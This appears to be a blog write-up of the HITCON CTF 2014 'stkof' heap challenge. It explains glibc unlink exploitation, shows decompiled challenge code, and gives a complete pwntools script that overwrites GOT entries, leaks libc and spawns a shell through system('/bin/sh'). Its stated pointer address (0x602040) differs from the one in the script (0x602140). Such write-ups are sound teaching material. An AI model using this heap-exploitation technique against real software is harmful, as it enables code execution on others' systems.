美文网首页
HITCON CTF 2014 stkof(Unlink)

HITCON CTF 2014 stkof(Unlink)

作者: Sadmess | 来源:发表于2019-04-13 21:57 被阅读0次

Unlink

正常情况

image.png

操作

首先我们通过覆盖,将P 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,fakeFD和fakeBK(也就是已知的块指针位置向上12和8,这里是32位)需要

fakeFD -> bk == P <=> *(fakeFD + 12) == P
fakeBK -> fd == P <=> *(fakeBK + 8) == P

当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:

fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD

如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:

*P = P - 8
*P = P - 12

即通过此方式,已知位置存储的P指针的值减去了12

效果

简单来说,在可溢出的情况下,并且malloc过后的指针被存储在某一已知位置,则可以达到此位置向上12开始可写。

以上都为32位
以下题目为64位

题目分析

  • 分配自定义大小的chunk
  • 修改堆中储存内容,自定义大小
  • 释放堆
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax   signed int v5; // [rsp+Ch] [rbp-74h]   char nptr; // [rsp+10h] [rbp-70h]   unsigned __int64 v7; // [rsp+78h] [rbp-8h] 
  v7 = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(&nptr, 10, stdin) )
  {
    choice = atoi(&nptr);
    if ( choice == 2 )
    {
      v5 = fill();
      goto LABEL_14;
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        v5 = free_chunk();
        goto LABEL_14;
      }
      if ( choice == 4 )
      {
        v5 = print();
        goto LABEL_14;
      }
    }
    else if ( choice == 1 )
    {
      v5 = alloc();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}
溢出函数
signed __int64 fill()
{
  signed __int64 result; // rax   int i; // eax   unsigned int idx; // [rsp+8h] [rbp-88h]   __int64 size; // [rsp+10h] [rbp-80h]   char *ptr; // [rsp+18h] [rbp-78h]   char s; // [rsp+20h] [rbp-70h]   unsigned __int64 v6; // [rsp+88h] [rbp-8h] 
  v6 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  idx = atol(&s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  fgets(&s, 16, stdin);
  size = atoll(&s);
  ptr = globals[idx];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}
申请函数
signed __int64 alloc()
{
  __int64 size; // [rsp+0h] [rbp-80h]   char *v2; // [rsp+8h] [rbp-78h]   char s; // [rsp+10h] [rbp-70h]   unsigned __int64 v4; // [rsp+78h] [rbp-8h] 
  v4 = __readfsqword(0x28u);
  fgets(&s, 16, stdin);
  size = atoll(&s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  globals[++cnt] = v2;
  printf("%d\n", (unsigned int)cnt, size);
  return 0LL;
}

基本思路

因为堆指针被存在0x602040这个已知位置,因此我们可以修改某指针,以达到修改其它块指针的效果,之后通过修改块内容就达到了任意地址写

  • 伪造堆,unlink 将globals[2]改为&globals[2]-0x18

  • 通过edit 将globals[1]改为free@got,globals[2]改为puts@got,globals[3]改为atoi@got

  • 通过edit,将free@got改为puts@plt,这样在下一次free的时候,就可以执行puts来leak了

  • 将atoi@got改为system_addr,利用main函数中的atoi来获取shell

exp

from pwn import *

s = process("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./stkof")

def alloc(size):
    s.sendline("1")
    s.sendline(str(size))
    s.recvuntil("OK\n")
    log.success("Have Malloc A Heap With:"+hex(size))

def free(idx):
    s.sendline("3")
    s.sendline(str(idx))
    # s.recvuntil("OK\n")
    log.success("Have Free Heap:"+str(idx))

def edit(idx,size,payload):
    s.sendline("2")
    s.sendline(str(idx))
    s.sendline(str(size))
    s.send(payload)
    s.recvuntil("OK\n")
    log.success("Have Edit Heap:"+str(idx))

head = 0x0602140
##unlink
# gdb.attach(s,"break *0x400D29")
alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
fd = head+16-0x18
bk = head+16-0x10
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, len(payload1), payload1)
free(3)

##change free to puts get libc base
# print payload1
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
payload = 'a'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,len(payload),payload)
edit(1,len(p64(puts_plt)),p64(puts_plt))
free(2)
s.recvline()
puts_real = u64(s.recvline(keepends=False)[0:8].ljust(8,'\x00'))
#log.success("Puts_real:"+hex(puts_real))
offset = puts_real - libc.symbols['puts']
#log.success("Offset:"+hex(offset))
system_addr = libc.symbols['system']+offset
#log.success("System_addr:"+hex(system_addr))

#shell
edit(3,len(p64(system_addr)),p64(system_addr))
s.sendline("/bin/sh")
s.interactive()

相关文章

网友评论

      本文标题:HITCON CTF 2014 stkof(Unlink)

      本文链接:https://www.haomeiwen.com/subject/mxfdwqtx.html